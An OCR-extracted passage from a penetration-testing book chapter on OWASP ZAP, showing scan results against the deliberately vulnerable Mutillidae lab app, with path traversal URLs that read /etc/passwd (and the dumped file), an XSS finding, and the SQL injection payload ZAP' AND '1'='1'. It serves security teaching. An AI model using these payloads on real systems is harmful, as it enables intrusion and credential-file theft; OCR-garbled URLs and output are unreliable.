» [ Directory Browsing (6) ¥

_Alerts 6 4 U5 RO

At the bottom-left of the preceding screenshot, we can see that we
have 6 red flags, the High Priority Alerts, we have 4 orange flags, 5
yellow flags, and O blue. These are organized in order of severity.
Clicking on any of the categories will expand it and show the threats
that have been found, for example, clicking on Path Traversal (10),
we'll see all the URLs that can be exploited to read files from the
server:
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¥ ' Path Traversal (10)

|| GET: http://10.0.2.4/mutillidaefindex.php?choice=nmap&initials=ZAP&page="%2Fetc%2Fpasswd &user-
|| GET: http://10.0.2.4/mutillidae/index.php?do=teggle-hints&page=%2Fetc%2Fpasswd
|| GET: http://10.0.2.4/mutillidae/index.php?forwardurl=http%3A%2F%2Fwww.php.net%2F&page="%2Fef
| | GET: http://10.0.2.4/mutillidaefindex.php?page=%2Fetc%2Fpasswd
| | GET: http://10.0.2.4/mutillidaefindex.php?page="%2Fetc%2 Fpasswdé&password=ZAP&user-info-php-sub
|| GET: http://10.0.2.4/mutillidaefindex.php?page="%2Fetc%2 Fpasswd&username=anonymous

1 POST: httD:HlCl.0.2.4fmutillidae,.’index.DhD?Daue=%2Fetc%?_FDaf.?wd - §

Clicking on any of the sites, we will see the HTTP request that was
sent in order to discover this:

[ 47 Quick Start T =v Request T Response«= Iﬂ:

| Header: Text |¥| |Body: Text |»| [ ]

HTTP/1.1 200 OK

Date: Sat, 28 Jul 2018 15:13:27 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Logged-In-User:

|Cache-Control: public

Pragma: public

Last-Modified: Sat, 28 Jul 2018 15:13:27 GMT
Content-Type: text/html

The following screenshot shows the response and why the tool thinks
that this is vulnerable, and we can see that in the response the tool
was able to get the contents of

In the following screenshot, we can see the URL, the tool used to
exploit the vulnerability, and we can see a Description of what the
current vulnerability is and how it has been exploited:

|Path Traversal

A
URL: http://10.0.2.4/mutillidae/index.php?do=toggle-hints&page="%2Fetc%2Fpasswd T
|Risk: A High
Confidence: Medium
Parameter: page
Attack: fetc/passwd
Evidence: root:x:0:0
CWE ID: 22
WASCID: 33
Source: Active (6 - Path Traversal)
Description:

The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web
document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary
anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.
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We can also see Risk, which is High. We can see Confidence how
confident the tool is about the existence of this vulnerability. We can

also see that it's been injected into a page and the Attack is trying to
get . So, right-click on the page and click Open URL in Browser:

As we can see in the following screenshot, the tool has exploited the
site for us. It shows us the output for the vulnerability, and we can
read the contents of :

Qié Mutillidae: Born to be Hacked

Security Level: 0 (Hosed)

Login/Register  Toggle Hints

Version: 2.1.19

Hints: Enabled (1 - 5crlpt Klddle) Not Logged In

Toggle Security  Reset DR ViewTog  View Captured Data

root:x:0:0:root:froot:/binfbash daemon:x:1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/devi/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh |p:x:7:T:1p:/var/spool/lpd:/bin/sh mail:x:8:8:mail./var/mail:
/bin/sh news:x:9:9:news:/var/spool/news:/hinfsh uucp:x:10:10:uucp:/var/spoalfuucp:/hin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/varfbackups:/fbin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:3%:ircd:fvar/runfircd:/binfsh gnats:x:41:41:Gnals Bug-Reporting System (admin):/var/lib/gnats:
Jbin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhep:x:101:102::/nonexistent:/bin/false syslag:x:102:103::thome/syslog:/bin/false
klog:x:103:104::/homelklog:/bin/false sshd:x:104:65534::/varfrun/sshd:/usr/sbin/nologin

msfadmin:x: 1000:1000:msfadmin,,,:;/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:
/bin/false postlix:x:106:115::/var/spool/postfix:/binffalse ftp:x:107:65534::/home/ftp:/bin/Talse
postgres:x:108:117:PostgreSQL administrator,.,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL
Server,,,:/varflibfmysql:/bin/false tomcat55:x:110:65534::/usr/share/ftomcat5.5:/bin/false

Site distccd:x:111:65534;:/./bin/false user:x;1001:1001;just a user,111,,;/home/user./bin/bash
hacked...err...quality- service:x:1002:1002:,.,:/home/service:/hin/bash telnetd:x'112:120::/nonexistent:/bin/false
tected with Samurai proftpd:x: 11365534 /varfrun/proftpd./bin/false statd:x:114.65534../var/lib/nfs:/bin/false

Let's have a look at another example, for example Cross Site
Scripting. Again, the tool also checks for and parameters.
Sometimes, when the injection is sent in textboxes, or even sent
without textboxes, if it's sent in a parameter, we won't see it in the
URL, so it actually checks for

vulnerability in the

request:

and . You can see in the following screenshot, it found a

request in the register page, and it also found one in a
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[E HistuwT@Search L-mfg | | | Output |

@ee® /
|| GET: http://10.0.2.4/mutillidaefindex.php?p
|| GET: http://10.0.2.4/mutillidae/index.php?p
__| GET: http://10.0.2.4/mutillidae/index.php?p
| | POST: http://10.0.2.4/mutillidae/index.php?
| | POST: http://10.0.2.4/mutillidaefindex.php?
|| POST: http://10.0.2.4/mutillidae/index.php?
| | POST: http:/10.0.2.4/mutillidaefindex.php?

Again, right-clicking and opening in the browser will execute it for us,
and we can see that the code has been executed:

Again, we can find the URL of the execution from the address bar in
the browser. If we want to use it for any other tools, we can see it in
tool as well, the URL that's being used to exploit the vulnerability.

Let's just have one more example of SQL Injection. Again, click on
the link:
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v @ Sites

Include in Context [
Y = M http:/10.0.2 glag as Context >
= | #icons Run application L
| | M GET:mutill Exclude from Context >
» [ Mm% mutillid| ©OPen/Resend with Request Editor...
[ A GET:m Exclude from
i Open URL in Browser >
= T Show in 5ites Tab
L| ¥ GET:site Open URL in System Browser
Copy URLs to Clipboard
Show in History Tab
Manage Tags...
Edit...
[ "= History T O Search o Delete
@ee® J Refresh Alerts Tree
» M External Redirect Generate Anti-CSRF Test FORM
» [ Path Traversal (1 Invoke with Script E
» M Remote File Incl| Add to Zest Script *
» [ Remote 05 Comi  Generate Zest script for alert
¥ M SQL Injection Compare 2 requests
[ Weaplilans il Ccmpare 2 responses
Include Channel Url in Context g

» [ Application Error

It will show us the URL and it will show us the Attack that it used,
ZAP’ AND '1'="1', which is in the Parameter password, and if you
remember, we actually did exploit this parameter manually:

SOL Injection

http:yL0 20 148 204/mut fidae/index php?page=userinfo php&password= ZAP®R2Z7 + AND+HZ71%2 TH30W271%2 7+ —+ Guseranfo-php-submt-button=view+Account + Detailskuse mame=Z AP
M High
Medim

password
ZAP' AND '1'=']" —
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working, and it's using a username and a password called ZAP:

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Results for . 1 records found.

Username=sAP
Password=ZAP
Signature=

So, the tool is very simple, very powerful, and very useful. We can
play around with it, we can play around with the proxy and with the
options, and see how we can enhance the results and achieve even
better results.

Summary

In this chapter, we have looked at the last part of penetration testing,
where we learned to use a tool called OWASP ZAP, which helps us
understand the vulnerabilities in web applications. We studied this as
the last part of web penetration testing because | wanted you to first
learn how to penetration test manually. In the first section of this
chapter, we explored the GUI of the tool and all of the actions we can
perform using it. The next part of the chapter covered the way we
perform scans and we even interpreted the results of scans.

T.me/nettrain



	1 Introduction Welcome What's in this book ?
	2 Setting Up a Lab
	3 Linux Basics
	4 Network Penetration Testing
	5 Pre - Connection Attacks
	8 Man - in - the - Middle Attacks
	9 Network Penetration Testing , Detection , and Security
	10 Gaining Access to Computer Devices
	11 Scanning Vulnerabilities Using Tools
	12 Client - Side Attacks
	13 Client - Side Attacks - Social Engineering
	14 Attack and Detect Trojans with BeEF
	15 Attacks Outside the Local Network
	16 Post Exploitation
	17 Website Penetration Testing
	18 Website Pentesting Information Gathering
	19 File Upload , Code Execution , and File Inclusion Vulnerabilities
	20 SQL Injection Vulnerabilities
	21 Cross - Site Scripting Vulnerabilities
	22 Discovering Vulnerabilities Automatically Using OWASP ZAP

